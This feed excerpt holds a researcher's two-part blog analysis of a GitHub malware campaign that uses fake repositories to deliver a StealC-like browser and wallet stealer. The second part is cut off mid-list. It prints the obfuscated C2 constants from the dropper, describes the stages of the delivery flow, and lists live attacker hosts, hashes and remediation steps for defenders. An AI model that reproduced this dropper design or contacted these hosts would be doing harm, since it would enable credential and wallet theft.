<p>I want to be transparent about that, because it genuinely changed the speed of the work. Writing fetchers, pivoting on new indicators, normalizing data from different APIs, and moving quickly from one lead to the next is exactly where that kind of tooling is useful. Every substantive finding still had to be checked against raw output, but the glue work was dramatically faster.</p>
<hr />
<h2>What the malware does — the kill chain</h2>
<p>The chain breaks down into three stages:</p>
<ol>
<li><p>a Python dropper embedded in the fake repositories</p>
</li>
<li><p>a native Windows loader</p>
</li>
<li><p>the final payload</p>
</li>
</ol>
<p>Each stage is different, and each answered a different part of the investigation.</p>
<h3>Stage 1 — the Python dropper</h3>
<p>If a victim clones one of the fake repositories and runs <code>main.py</code>, the entry point is wrapped in an <code>@ensure_env</code> decorator imported from a <code>utils/</code> module.</p>
<p>That decorator is the trigger.</p>
<p>On first call, it runs a short initialization sequence: operating-system check, Python-version check, architecture check (<code>x64</code>/<code>x86</code> only; ARM exits quietly), then a delivery handshake to the campaign infrastructure.</p>
<p>The endpoint construction is hidden inside <code>compat.py</code>:</p>
<pre><code class="language-python">_COMPAT_LEVEL = 194   # disguised as a "compat level"

_API_SCHEMA = bytes([0xAA, 0xB6, 0xB6, 0xB2, 0xB1])
_API_HOST   = bytes([0xF8, 0xED, 0xED, 0xA3, 0xB2, 0xAB, 0xEC])
_API_DOMAIN = bytes([0xAC, 0xA3, 0xAB, 0xAE, 0xB2, 0xB0])
_API_TLD    = bytes([0xAD, 0xBA, 0xBB, 0xEC, 0xB1, 0xB2, 0xA3, 0xA1, 0xA7])
</code></pre>
<p>A single-byte XOR against <code>0xC2</code> decodes this to:</p>
<pre><code class="language-text">https://api.nailproxy.space
</code></pre>
<p>The HMAC-SHA256 secret used for the handshake is hidden in the same file, presented as a dictionary of “platform hashes”.</p>
<p>From there, the flow is straightforward:</p>
<ul>
<li><p><code>POST /api/v1/auth/session</code> returns a nonce and timestamp</p>
</li>
<li><p>the dropper signs the values with the embedded HMAC key</p>
</li>
<li><p><code>POST /api/v1/data/sync</code> returns an AES-GCM-encrypted blob</p>
</li>
<li><p>the Python code decrypts it</p>
</li>
<li><p>checks for an <code>MZ</code> header</p>
</li>
<li><p>writes it to <code>%TEMP%\~DF&lt;random&gt;.exe</code></p>
</li>
<li><p>launches it with <code>CREATE_NO_WINDOW</code></p>
</li>
<li><p>deletes the executable afterwards</p>
</li>
</ul>
<p>There is no console window and usually nothing obvious for the user to notice.</p>
<p>One detail stood out immediately: four of the five <code>utils/*.py</code> files were byte-identical across the fake repositories I confirmed. Only <code>compat.py</code> varied — and even that varied in a controlled way, with the same exact file size and the same purpose. The logic remained the same; the constants rotated just enough to break simple file-hash matching.</p>
<p>That is not an accidental copy-paste mess. That is deliberate operational design.</p>
<h3>Stage 2 — the loader</h3>
<p>The decrypted payload is a Windows PE64 executable of roughly 11.1 MB that masquerades as <code>sysconf.exe</code>.</p>
<p>Its metadata is designed to look harmless: fake Microsoft-style branding, fake service names, plausible-looking version information. In Task Manager it would not look immediately suspicious to most users.</p>
<p>What made this binary interesting was how little static visibility it offered.</p>
<ul>
<li><p>I got <strong>no useful YARA hits</strong> against a large public ruleset covering major commodity stealers.</p>
</li>
<li><p><strong>FLOSS recovered nothing meaningful</strong> — no clear strings, no stack-built strings, no easy decoded artifacts.</p>
</li>
<li><p>It had <strong>no prior public submissions</strong> when first uploaded for analysis.</p>
</li>
</ul>
<p>At the same time, <code>capa</code> still exposed important structural clues:</p>
<ul>
<li><p>FNV-style API hashing</p>
</li>
<li><p>PE export-table walking</p>
</li>
<li><p>ChaCha20/Salsa20-related capability signals</p>
</li>
<li><p>multi-layer XOR behavior</p>
</li>
<li><p>evidence of a command/interpreter style architecture</p>
</li>
<li><p>a heavily opaque PE layout dominated by a large <code>.data</code> section</p>
</li>
</ul>
<p>That combination strongly suggested a custom or private loader, not a commodity off-the-shelf first stage.</p>
<p>What it did <strong>not</strong> justify, on its own, was a direct family attribution to Rhadamanthys or anything else. The architecture was loader-like and heavily obfuscated, but the value here was in understanding its role in the chain, not in forcing a family label where the evidence was thinner than the behavior.</p>
<h3>Stage 3 — the final payload</h3>
<p>Static analysis of the loader only got me so far. The next step required dynamic behavior.</p>
<p>When I first uploaded the sample to VirusTotal, the top-level behavior summary was misleadingly empty: no visible process tree, no DNS, no obvious file writes, no network activity.</p>
<p>The per-sandbox view told a different story.</p>
<p>Some sandboxes were clearly being detected and evaded. One of them — CAPE — made it far enough to reveal the full chain:</p>
<pre><code class="language-text">sysconf.exe
  ├── drops: msedgeview.dll
  ├── launches: rundll32.exe msedgeview.dll,#3
  └── launches: chrome.exe --disable-gpu --no-sandbox --disable-extensions
                 --user-data-dir=%TEMP%\v20_0000FF100B60 about:blank
</code></pre>
<p>That behavior matters.</p>
<p>The dropped DLL was small — about 55 KB — compared to the 11 MB loader that delivered it. That size imbalance strongly suggests the loader’s job is primarily staging, anti-analysis, and controlled execution rather than carrying the final value itself.</p>
<p>The Chrome launch line is even more important. The temporary <code>v20_...</code> profile path is highly characteristic of modern browser-theft workflows targeting <strong>Chrome App-Bound Encryption</strong>, introduced in recent Chrome builds. Instead of trying to decrypt protected secrets directly, the malware abuses Chrome’s own execution context to do it.</p>
<p>The network behavior showed two distinct roles.</p>
<h3>Delivery infrastructure</h3>
<ul>
<li><p><code>https://api.nailproxy.space</code></p>
</li>
<li><p><code>/api/v1/auth/session</code></p>
</li>
<li><p><code>/api/v1/data/sync</code></p>
</li>
</ul>
<h3>Exfiltration / tasking infrastructure</h3>
<ul>
<li><p><code>https://62.60.226.113:6673</code></p>
</li>
<li><p><code>https://spellmarketplace.club</code></p>
</li>
</ul>
<p>Both exfiltration endpoints used the same path style:</p>
<pre><code class="language-text">/&lt;24-character-alphanumeric-id&gt;/[h|g|u]
</code></pre>
<p>So <code>api.nailproxy.space</code> appears to be the <strong>delivery channel</strong>, while the actual post-infection communications go elsewhere.</p>
<h3>Payload attribution: consistent with StealC v2, high-confidence inferred</h3>
<p>The strongest attribution signal came from the exfiltration side.</p>
<p>The IP <code>62.60.226.113</code> had already appeared in public StealC-related reporting on ThreatFox before this GitHub campaign became visible. Combined with the observed behavior — DLL execution via <code>rundll32</code>, browser abuse for Chrome decryption, geolocation probes, the URL-path shape, and the overall post-infection flow — the final-stage behavior is best described as <strong>consistent with StealC v2</strong>.</p>
<p>The evidence for that inference is:</p>
<ul>
<li><p><code>62.60.226.113</code> had already been tagged independently on ThreatFox as StealC-related infrastructure</p>
</li>
<li><p>the URL-path schema <code>/&lt;24-char-alnum&gt;/[h|g|u]</code> matches documented StealC-style behavior</p>
</li>
<li><p>the Chrome App-Bound Encryption bypass pattern matches documented StealC v2 reporting</p>
</li>
<li><p>the <code>rundll32</code>-based DLL execution and geolocation probes match public StealC v2 tradecraft descriptions</p>
</li>
<li><p>the overall anti-analysis and post-infection behavior fit the same profile</p>
</li>
</ul>
<p>What I am <strong>not</strong> claiming is a direct family signature match for the final DLL. I did <strong>not</strong> get a direct public YARA hit tying this exact sample to StealC, and I did <strong>not</strong> independently unpack and reverse the DLL itself. The attribution is therefore best framed as <strong>high-confidence inferred from infrastructure correlation and behavioral overlap</strong>, not as a direct code-signature confirmation.</p>
<p>That distinction matters.</p>
<hr />
<h2>What a victim should assume is exposed</h2>
<p>Based on the observed behavior <strong>plus</strong> public StealC v2 reporting, a victim should assume exposure of at least the following categories of data:</p>
<ul>
<li><p>saved browser credentials</p>
</li>
<li><p>browser cookies and active sessions</p>
</li>
<li><p>autofill data and browsing history</p>
</li>
<li><p>browser-based wallet-extension data</p>
</li>
<li><p>desktop wallet files where present</p>
</li>
<li><p>Telegram Desktop session data</p>
</li>
<li><p>Discord tokens/session artifacts</p>
</li>
<li><p>locally stored credentials for developer, cloud, VPN, FTP, or remote-access tooling</p>
</li>
<li><p>files in user directories, depending on configuration and operator choices</p>
</li>
</ul>
<p>For the likely audience of these lures — developers, traders, crypto-adjacent users, and technically comfortable individual operators — that combination is severe.</p>
<p>If a victim used browser-based exchange sessions, API keys, local wallets, cloud credentials, or developer tokens on the affected machine, they should assume those assets are compromised until proven otherwise.</p>
<hr />
<h2>How large is the backend?</h2>
<p>This part was informative in a different way.</p>
<h3>The GitHub-facing cluster</h3>
<p>Based on the available code-search pivots, the <strong>public GitHub repository cluster appears bounded for now</strong>.</p>
<p>A code search against three distinctive comment strings from the byte-identical <code>utils/*.py</code> modules returned <strong>exactly the same 19 repositories across all three queries</strong>. That is strong convergent evidence for the public-facing scope.</p>
<p>There are important caveats:</p>
<ul>
<li><p>GitHub code search only covers <strong>public</strong> repositories</p>
</li>
<li><p>very recent repositories might not yet be indexed</p>
</li>
<li><p>private repositories would not appear</p>
</li>
<li><p>repositories already removed during the takedown process would not appear</p>
</li>
</ul>
<p>Within those limits, the cleanest statement is:</p>
<blockquote>
<p><strong>19 confirmed public repos, likely complete for the publicly visible and indexed scope at the time of analysis.</strong></p>
</blockquote>
<p>Those 19 fake repos were spread across <strong>17 distinct accounts</strong>, with two accounts contributing two repos each.</p>
<h3>The real infrastructure</h3>
<p>The exfiltration side was more interesting.</p>
<p>The IP <code>62.60.226.113</code> appears to sit on shared hosting infrastructure rather than on a dedicated operator-owned host. In other words, it should not be treated as a unique single-campaign asset. That matters because over-pivoting on the IP alone would create noise and false positives.</p>
<p>At the same time, I found evidence of at least one <strong>additional loader sample</strong> associated with the same broader operator pattern and the same <code>spellmarketplace.club</code> exfiltration side, but not obviously delivered through the same GitHub repo chain.</p>
<p>That suggests the fake GitHub repositories are likely <strong>one delivery channel</strong>, not the whole operation.</p>
<hr />
<h2>Timeline</h2>
<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody><tr>
<td>2025-12-15</td>
<td><code>62.60.226.113</code> appears in ThreatFox as StealC-related infrastructure</td>
</tr>
<tr>
<td>2026-03-05</td>
<td><code>spellmarketplace.club</code> appears in operator-linked infrastructure timeline</td>
</tr>
<tr>
<td>2026-03-12</td>
<td>the second-level domain <code>nailproxy.space</code> is registered; <code>api.nailproxy.space</code> is later operated as the delivery-C2 subdomain</td>
</tr>
<tr>
<td>2026-03-03 to 2026-03-09</td>
<td>cluster of fake GitHub repositories created</td>
</tr>
<tr>
<td>2026-04-18</td>
<td>stage-3 DLL observed on VirusTotal</td>
</tr>
<tr>
<td>2026-04-19</td>
<td>sibling loader observed on VirusTotal</td>
</tr>
<tr>
<td>2026-04-22</td>
<td>campaign discovered during routine project-name search; first public write-up and GitHub report filed</td>
</tr>
<tr>
<td>2026-04-23</td>
<td>deeper stage-2 / stage-3 linkage established; IOCs submitted to ThreatFox and published there under my ThreatFox user profile</td>
</tr>
<tr>
<td>2026-05-05</td>
<td>submitted IOCs to AlienVault</td>
</tr>
</tbody></table>
<hr />
<h2>What to do if you ran one of these repositories</h2>
<p>If you executed <code>main.py</code> or any equivalent entry file from one of the fake repositories on Windows, I would treat that machine as compromised.</p>
<p>In practical order:</p>
<ol>
<li><p><strong>Disconnect the system</strong> from the network.</p>
</li>
<li><p><strong>Preserve evidence if needed</strong>, then wipe and reinstall rather than trying to “clean” it in place.</p>
</li>
<li><p><strong>Rotate every password</strong> used in any browser on that machine, prioritizing:</p>
<ul>
<li><p>exchange and banking accounts</p>
</li>
<li><p>email accounts</p>
</li>
<li><p>GitHub / GitLab</p>
</li>
<li><p>cloud providers</p>
</li>
<li><p>VPN / SSO</p>
</li>
</ul>
</li>
<li><p><strong>Invalidate active sessions</strong> anywhere that supports it.</p>
</li>
<li><p><strong>Revoke and reissue API keys</strong>, including exchange, cloud, CI/CD, GitHub, and PyPI tokens.</p>
</li>
<li><p><strong>Treat browser-extension wallets and local-wallet material as exposed</strong> and move funds to fresh wallets created on trusted hardware.</p>
</li>
<li><p><strong>Review Telegram, Discord, and other persistent-session apps</strong> and invalidate all active sessions.</p>
</li>
<li><p><strong>Inform employers or vendors</strong> if any corporate credentials, tokens, or keys were present on that machine.</p>
</li>
</ol>
<p>Speed matters. The longer the gap between execution and response, the greater the attacker’s opportunity to cash out sessions, credentials, and wallets.</p>
<hr />
<h2>IOCs</h2>
<h3>Hashes</h3>
<pre><code class="language-text">loader (stage 2):
251037ceebfbacd419b663ebcf0e01ec80a2c46dbfc85f66492c8585b481fb8c

stealer DLL (stage 3):
c27590c766583599eac98ed3e20c54e49c792be409f126577e7475294affac1f

sibling loader:
155dc73761ebaab0e4f5c0e18cf09dbd5728ce61361db218a5727355ca8adc1a

stage-1 Python module hashes:
utils/bootstrap.py : 54111f7e5f7aa425704fb45bf79d4e354cfb959f2c22aee6cbb79730d5a6a3aa
utils/http.py      : b3668182408c4078e20c04d03a04804bc9640238361af9a15d44c3950192eedc
utils/integrity.py : 041f48d92b7b410c93c83d8352e3b0c18ca2e10dfce8cbc38748ab862b08982e
utils/__init__.py  : 37380d20800d196e3a20fc98fba80d1365a63acbf9dadad7debc48e157520edd
run.bat            : c5866b202eb5fc7009ee045952d893c1b373d965f9491f8502075de11c132d62
</code></pre>
<h3>Network</h3>
<pre><code class="language-text">delivery:
https://api.nailproxy.space
/api/v1/auth/session
/api/v1/data/sync

exfiltration/tasking:
62.60.226.113:6673
https://spellmarketplace.club

pre-exfil geolocation probes:
ip-api.com
ipinfo.io
ipapi.co
</code></pre>
<h3>Repository cluster</h3>
<p>The confirmed fake GitHub repositories are listed in the earlier campaign post:</p>
<ul>
<li><a href="https://blog.technopathy.club/nailproxy-space-github-malware-campaign">nailproxy.space: A Multi-Repository GitHub Malware Campaign</a></li>
</ul>
<p>The related IOCs were also submitted to <a href="https://threatfox.abuse.ch/user/12877/">ThreatFox</a>/<a href="https://otx.alienvault.com/user/oliver-zehentleitner">AlienVault</a> and are now part of the public threat intelligence ecosystem.</p>
<hr />
<h2>Two practical lessons for defenders</h2>
<p>Two technical points are worth highlighting for anyone doing similar work.</p>
<h3>1. Per-sandbox behavior matters</h3>
<p>A summary behavior view can miss the entire chain if some sandboxes are evaded cleanly. In this case, looking only at the top-level behavior summary would have left the sample looking inert.</p>
<p>The useful data came from the <strong>per-sandbox</strong> views.</p>
<h3>2. The best correlation marker is not just the IP</h3>
<p>The shared exfiltration host is on shared infrastructure. The more useful operator marker is the combination of:</p>
<ul>
<li><p>custom-port HTTPS</p>
</li>
<li><p>the <code>/&lt;24-char&gt;/[h|g|u]</code> path shape</p>
</li>
<li><p>the <code>sysconf.exe</code> masquerade pattern</p>
</li>
<li><p>the delivery link back to <code>api.nailproxy.space</code></p>
</li>
</ul>
<p>That combination is far more useful than the IP by itself.</p>
<hr />
<h2>Final note</h2>
<p>What started as a simple self-search for my own project name turned into something much bigger.</p>
<p>First it looked like one fraudulent repository. Then it became a small GitHub campaign. Then the delivery chain opened up into a loader and a final-stage payload consistent with StealC v2.</p>
<p>That progression is exactly why these fake repositories matter.</p>
<p>They are not just repo clones, not just SEO abuse, and not just brand confusion. They are a working malware-delivery channel aimed at the kinds of users who are most likely to have valuable sessions, tokens, wallets, and developer credentials on the same machine.</p>
<p>If you maintain an open-source project, this is a good reminder to occasionally search for your own project name. Sometimes that is all it takes to find the beginning of a much larger problem.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[nailproxy.space: A Multi-Repository GitHub Malware Campaign]]></title><description><![CDATA[Update (2026-04-22, 13:33): I submitted this case to GitHub Support for campaign-level review. Ticket ID: 4313391.


Further update (2026-04-23): I published a deeper technical follow-up covering the ]]></description><link>https://blog.technopathy.club/nailproxy-space-github-malware-campaign</link><guid isPermaLink="true">https://blog.technopathy.club/nailproxy-space-github-malware-campaign</guid><category><![CDATA[Security]]></category><category><![CDATA[Malware]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[Python]]></category><category><![CDATA[threat intelligence]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Wed, 22 Apr 2026 11:00:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/61a3b717-1e78-4976-914b-f0f43cd2820a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p><strong>Update (2026-04-22, 13:33):</strong> I submitted this case to GitHub Support for campaign-level review. Ticket ID: <strong>4313391</strong>.</p>
</blockquote>
<blockquote>
<p><strong>Further update (2026-04-23):</strong> I published a deeper technical follow-up covering the delivery chain, loader behavior, and StealC-linked final-stage payload analysis.<br />Read: <a href="https://blog.technopathy.club/from-a-coffee-in-bed-google-search-to-a-stealc-linked-campaign-the-story-behind-nailproxy-space">From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space</a></p>
</blockquote>
<blockquote>
<p><strong>TL;DR:</strong> What initially looked like a single fraudulent repository impersonating <strong>UNICORN Binance WebSocket API</strong> now appears to be part of a broader <strong>multi-repository GitHub malware campaign</strong>.<br />Across the currently confirmed set, the repositories share the same C2 infrastructure, the same staged Windows payload flow, the same deceptive repository framing, and the same manipulated-looking social proof patterns.<br />At the time of writing, I have <strong>19 confirmed repositories</strong> in scope. The list is likely incomplete.</p>
</blockquote>
<p>This post is a follow-up to my earlier write-up on the fraudulent repository impersonating UNICORN Binance WebSocket API:</p>
<ul>
<li><a href="https://blog.technopathy.club/security-warning-fraudulent-github-repository-impersonating-unicorn-binance-websocket-api">Security Warning: Fraudulent GitHub Repository Impersonating UNICORN Binance WebSocket API</a></li>
</ul>
<p>That first article focused on one repository. Further analysis shows that the UBWA-themed repository is very likely <strong>one lure inside a broader campaign</strong>.</p>
<h2>How This Started</h2>
<p>The starting point was a repository using the <strong>UNICORN-Binance-WebSocket-API</strong> name while the legitimate project is maintained separately through the official project channels:</p>
<ul>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">Official GitHub repository: oliver-zehentleitner/unicorn-binance-websocket-api</a></p>
</li>
<li><p><a href="https://pypi.org/project/unicorn-binance-websocket-api/">Official PyPI package: unicorn-binance-websocket-api</a></p>
</li>
</ul>
<p>What initially made the fraudulent repository stand out was the mismatch between its visible development footprint and its public social proof. That led to a closer static review of the startup path, which in turn exposed staged Windows payload behavior.</p>
<p>From there, the obvious next question was:</p>
<blockquote>
<p>Is this an isolated repository, or part of something larger?</p>
</blockquote>
<p>The answer now appears to be: <strong>something larger</strong>.</p>
<h2>Campaign Summary</h2>
<p>Across the currently confirmed set, the repositories share several core properties:</p>
<ul>
<li><p>the same decoded C2 host</p>
</li>
<li><p>the same session and sync paths</p>
</li>
<li><p>the same staged Windows payload execution flow</p>
</li>
<li><p>the same deceptive facade pattern</p>
</li>
<li><p>the same or highly similar <code>utils/</code> module structure</p>
</li>
<li><p>the same repeated commit choreography</p>
</li>
<li><p>the same manipulated-looking star and fork behavior</p>
</li>
</ul>
<p>At the time of writing, I have <strong>19 confirmed repositories</strong> associated with this pattern.</p>
<h2>Shared Infrastructure</h2>
<p>The strongest campaign signal is the infrastructure overlap.</p>
<p>Across all confirmed samples I reviewed, the per-repository XOR-decoding logic in <code>utils/compat.py</code> resolves to the same endpoint:</p>
<pre><code class="language-text">https://api.nailproxy.space
</code></pre>
<p>The same repositories also use the same two application paths:</p>
<ul>
<li><p><code>POST /api/v1/auth/session</code></p>
</li>
<li><p><code>POST /api/v1/data/sync</code></p>
</li>
</ul>
<p>The visible code also contains the same DNS-bypass strategy and the same Windows-oriented fallback behavior.</p>
<h2>Deobfuscated Indicators</h2>
<p>The following values are relevant from a defensive and incident-response perspective:</p>
<ul>
<li><p><strong>C2 endpoint:</strong> <code>https://api.nailproxy.space</code></p>
</li>
<li><p><strong>Session path:</strong> <code>/api/v1/auth/session</code></p>
</li>
<li><p><strong>Sync path:</strong> <code>/api/v1/data/sync</code></p>
</li>
<li><p><strong>Hard-coded fallback IP:</strong> <code>104.21.0.1</code></p>
</li>
<li><p><strong>Additional IP present in pool:</strong> <code>172.67.0.1</code></p>
</li>
<li><p><strong>Transport fallback:</strong> <code>curl.exe --resolve</code></p>
</li>
<li><p><strong>Payload type:</strong> Windows PE (<code>MZ</code>)</p>
</li>
<li><p><strong>Temp prefix:</strong> <code>~DF</code></p>
</li>
<li><p><strong>Staged extension:</strong> <code>.exe</code></p>
</li>
<li><p><strong>Launch flag:</strong> <code>0x08000000</code> (<code>CREATE_NO_WINDOW</code>)</p>
</li>
</ul>
<p>These indicators are included as defensive context only.</p>
<h2>Shared Execution Flow</h2>
<p>The execution flow is consistent across the analyzed repositories.</p>
<p>In the UBWA-themed repository, the application entry point is decorated with <code>@ensure_env</code> in <code>main.py</code>, which means the environment bootstrap path executes immediately when the application starts.</p>
<p>A simplified version of the visible flow looks like this:</p>
<ol>
<li><p>Check operating system support and Python version.</p>
</li>
<li><p>Check whether the architecture is <code>x64</code> or <code>x86</code>.</p>
</li>
<li><p>Decode the remote endpoint from XOR-obfuscated byte arrays.</p>
</li>
<li><p>Request a session object from <code>/api/v1/auth/session</code>.</p>
</li>
<li><p>Sign the returned challenge using HMAC-SHA256.</p>
</li>
<li><p>Request an encrypted blob from <code>/api/v1/data/sync</code>.</p>
</li>
<li><p>Decrypt the blob with AES-GCM.</p>
</li>
<li><p>Hand the result to <code>bootstrap.apply()</code> in a daemon thread.</p>
</li>
<li><p>Stage the result as a Windows executable in temp.</p>
</li>
<li><p>Launch it without a visible window.</p>
</li>
<li><p>Delete the staged file afterward.</p>
</li>
</ol>
<p>The same overall structure appears in the other confirmed samples, even where lure topic, README framing, or facade modules differ.</p>
<h2>Shared Dropper Components</h2>
<p>One of the clearest signs that this is a campaign rather than unrelated copycats is the shared <code>utils/</code> structure.</p>
<p>The key modules are:</p>
<ul>
<li><p><code>utils/__init__.py</code></p>
</li>
<li><p><code>utils/bootstrap.py</code></p>
</li>
<li><p><code>utils/compat.py</code></p>
</li>
<li><p><code>utils/http.py</code></p>
</li>
<li><p><code>utils/integrity.py</code></p>
</li>
</ul>
<p>In the UBWA and TurnKey samples, four of these files are byte-identical:</p>
<ul>
<li><p><code>__init__.py</code></p>
</li>
<li><p><code>bootstrap.py</code></p>
</li>
<li><p><code>http.py</code></p>
</li>
<li><p><code>integrity.py</code></p>
</li>
</ul>
<p>Only <code>compat.py</code> differs, and that difference is narrow: the XOR key and encoded byte arrays vary per repository, but the decoded result still points to the same C2.</p>
<p>That strongly suggests a reusable generation pattern rather than hand-written independent tooling.</p>
<h2>Commit and Timing Pattern</h2>
<p>The commit history also shows repetition.</p>
<p>Across multiple repositories, the commit pattern follows the same sequence:</p>
<ol>
<li><p><code>Initial commit</code></p>
</li>
<li><p><code>Script release</code></p>
</li>
<li><p><code>Update README.md</code></p>
</li>
<li><p><code>Add files via upload</code></p>
</li>
</ol>
<p>The important part is the last step.</p>
<p>That final upload is where the malicious <code>utils/</code> path appears.</p>
<p>In the two repositories under <code>gesine1541ro7</code>, both repos were created within minutes of each other, and both received the malicious upload on the same day only minutes apart.</p>
<p>That is not what normal open-source iteration looks like.</p>
<p>It looks like <strong>batch preparation followed by staged weaponization</strong>.</p>
<h2>Social-Proof Manipulation</h2>
<p>The social-proof pattern is also highly unusual.</p>
<p>In the UBWA-themed repository:</p>
<ul>
<li><p><strong>816 total stars</strong></p>
</li>
<li><p><strong>607 stars on 2026-03-17</strong></p>
</li>
<li><p><strong>204 stars on 2026-03-18</strong></p>
</li>
</ul>
<p>That means <strong>811 of 816 stars</strong> arrived on two consecutive days, well after repository creation.</p>
<p>In the TurnKey sample:</p>
<ul>
<li><p><strong>83 total stars</strong></p>
</li>
<li><p><strong>82 stars on a single day</strong></p>
</li>
</ul>
<p>The fork pattern is equally suspicious.</p>
<p>The visible fork-owner names follow a repeated structure that looks machine-generated, and there is confirmed overlap between fork accounts across multiple campaign repositories.</p>
<p>That does not prove every single account is controlled by the same operator, but it is more than enough to treat the apparent popularity of these repositories as untrustworthy.</p>
<h2>Lure Diversity</h2>
<p>Another notable feature of the campaign is the range of lure topics.</p>
<p>The currently confirmed repositories include themes such as:</p>
<ul>
<li><p>Binance and crypto trading tools</p>
</li>
<li><p>Web3 airdrop or farming bots</p>
</li>
<li><p>GPT wrappers and jailbreak tools</p>
</li>
<li><p>OSINT tooling</p>
</li>
<li><p>fake CVE/security research tools</p>
</li>
<li><p>AI utility tools</p>
</li>
<li><p>cryptography-related libraries</p>
</li>
</ul>
<p>That is important because it shows the campaign is not narrowly focused on one brand or one audience.</p>
<p>The pattern is broader:</p>
<blockquote>
<p>use plausible developer-adjacent or trader-adjacent bait, attach a polished facade, then reuse the same malware delivery architecture underneath.</p>
</blockquote>
<h2>Confirmed Repository Set</h2>
<p>At the time of writing, I have <strong>19 confirmed repositories</strong> in scope:</p>
<ol>
<li><p><code>gesine1541ro7/UNICORN-Binance-WebSocket-API</code></p>
</li>
<li><p><code>gesine1541ro7/TurnKey-Auto-Bot</code></p>
</li>
<li><p><code>lucija8320nhung4/HacxGPT</code></p>
</li>
<li><p><code>MarCmcbri1982/KawaiiGPT</code></p>
</li>
<li><p><code>Kaleighc793/freqtrade-bot</code></p>
</li>
<li><p><code>Janis174756/Binance-Futures-Trading-Bot</code></p>
</li>
<li><p><code>lauraevz6y70/gnark-crypto</code></p>
</li>
<li><p><code>Jamie3t1991/BeraChainTools</code></p>
</li>
<li><p><code>FrankDavis236869/spyder-osint</code></p>
</li>
<li><p><code>CrystALqsxvk39/Python-Bitcoin-Utils</code></p>
</li>
<li><p><code>Courtneybake80/Polyseed-Monero</code></p>
</li>
<li><p><code>courtneyb8345/pharos-automation-bot</code></p>
</li>
<li><p><code>Della38840/Robinhood</code></p>
</li>
<li><p><code>charlo1492charlo14928/openfi-bot</code></p>
</li>
<li><p><code>Giuditta8/Uomi-Testnet</code></p>
</li>
<li><p><code>Jessica74016/CVE-2025-8088</code></p>
</li>
<li><p><code>fernandez81188studio/SORA2-Watermark-Remover</code></p>
</li>
<li><p><code>Annehuqr0Craft96/Mitosis-Farm</code></p>
</li>
<li><p><code>charlo1492charlo14928/NFT-Yield-Farming</code></p>
</li>
</ol>
<p>This list should be treated as a <strong>confirmed minimum</strong>, not a complete boundary.</p>
<h2>What Is Confirmed vs. What Is Likely</h2>
<p>It is important to separate what is directly supported from what is still inference.</p>
<h3>Confirmed</h3>
<ul>
<li><p>multiple repositories decode to the same C2 host</p>
</li>
<li><p>the same session and sync paths recur</p>
</li>
<li><p>the same staged Windows payload flow recurs</p>
</li>
<li><p>the same <code>utils/</code> architecture recurs</p>
</li>
<li><p>the same repeated commit pattern recurs</p>
</li>
<li><p>the same manipulated-looking star and fork patterns recur</p>
</li>
<li><p>fork-account overlap exists across campaign repositories</p>
</li>
</ul>
<h3>Likely, but still incomplete</h3>
<ul>
<li><p>the campaign is larger than the currently confirmed set</p>
</li>
<li><p>some account clusters are rotating identities used by the same operator or operator group</p>
</li>
<li><p>the visible star/fork activity is synthetic or purchased</p>
</li>
<li><p>the lure set is still expanding or can be regenerated on demand</p>
</li>
</ul>
<p>That distinction matters. It keeps the write-up grounded.</p>
<h2>Pycache and Build Fingerprint</h2>
<p>I also checked the committed <code>.pyc</code> files in the UBWA-themed repository.</p>
<p>They do <strong>not</strong> contain a hidden second-stage path that differs from the visible facade source. In other words, the malicious behavior is already present in the visible source path.</p>
<p>What is more interesting is the asymmetry:</p>
<ul>
<li><p>committed <code>__pycache__</code> exists for facade modules</p>
</li>
<li><p>no equivalent committed cache set was present for the malware-bearing <code>utils/</code> path in the UBWA sample</p>
</li>
</ul>
<p>That is not proof of workflow by itself, but it is consistent with a timeline in which the facade was developed or tested locally first, and the malware-bearing <code>utils/</code> path was introduced later.</p>
<h2>Why This Matters</h2>
<p>This matters for three reasons.</p>
<h3>1. It is an ecosystem trust problem</h3>
<p>This is not just about one repo name.</p>
<p>It is about abusing trust signals developers rely on:</p>
<ul>
<li><p>recognizable topics</p>
</li>
<li><p>polished READMEs</p>
</li>
<li><p>stars and forks</p>
</li>
<li><p>plausible project structures</p>
</li>
<li><p>familiar library ecosystems</p>
</li>
</ul>
<h3>2. It targets real user behavior</h3>
<p>The repositories are designed around realistic behavior:</p>
<ul>
<li><p>cloning code from GitHub</p>
</li>
<li><p>running <code>python main.py</code></p>
</li>
<li><p>launching via <code>run.bat</code></p>
</li>
<li><p>trusting a tool because it looks connected to a known project or topic</p>
</li>
</ul>
<h3>3. The lure themes are operationally smart</h3>
<p>The campaign does not depend on one niche. It spans trading, AI, crypto, automation, and developer tooling.</p>
<p>That is exactly how a scalable lure operation behaves.</p>
<h2>Recommended Response</h2>
<p>If you ran one of these repositories on Windows, I would treat the host as potentially compromised.</p>
<p>Recommended next steps:</p>
<ol>
<li><p>isolate the system</p>
</li>
<li><p>preserve evidence</p>
</li>
<li><p>review endpoint protection / EDR / antivirus telemetry</p>
</li>
<li><p>inspect recent process execution and temp-directory activity</p>
</li>
<li><p>review outbound connections</p>
</li>
<li><p>rotate potentially exposed credentials</p>
</li>
<li><p>revoke and recreate exchange/API credentials where relevant</p>
</li>
</ol>
<p>I would also strongly recommend reporting the relevant repositories and accounts to GitHub.</p>
<h2>Request for Independent Validation</h2>
<p>The current confirmed set is useful, but likely incomplete.</p>
<p>If others want to independently validate or extend this set using only public repository metadata and static source review, that additional confirmation would be valuable.</p>
<p>I am <strong>not</strong> asking anyone to interact with the infrastructure, execute the code, or probe the C2.</p>
<p>Useful contributions would be things like:</p>
<ul>
<li><p>confirming additional repositories that decode to the same C2</p>
</li>
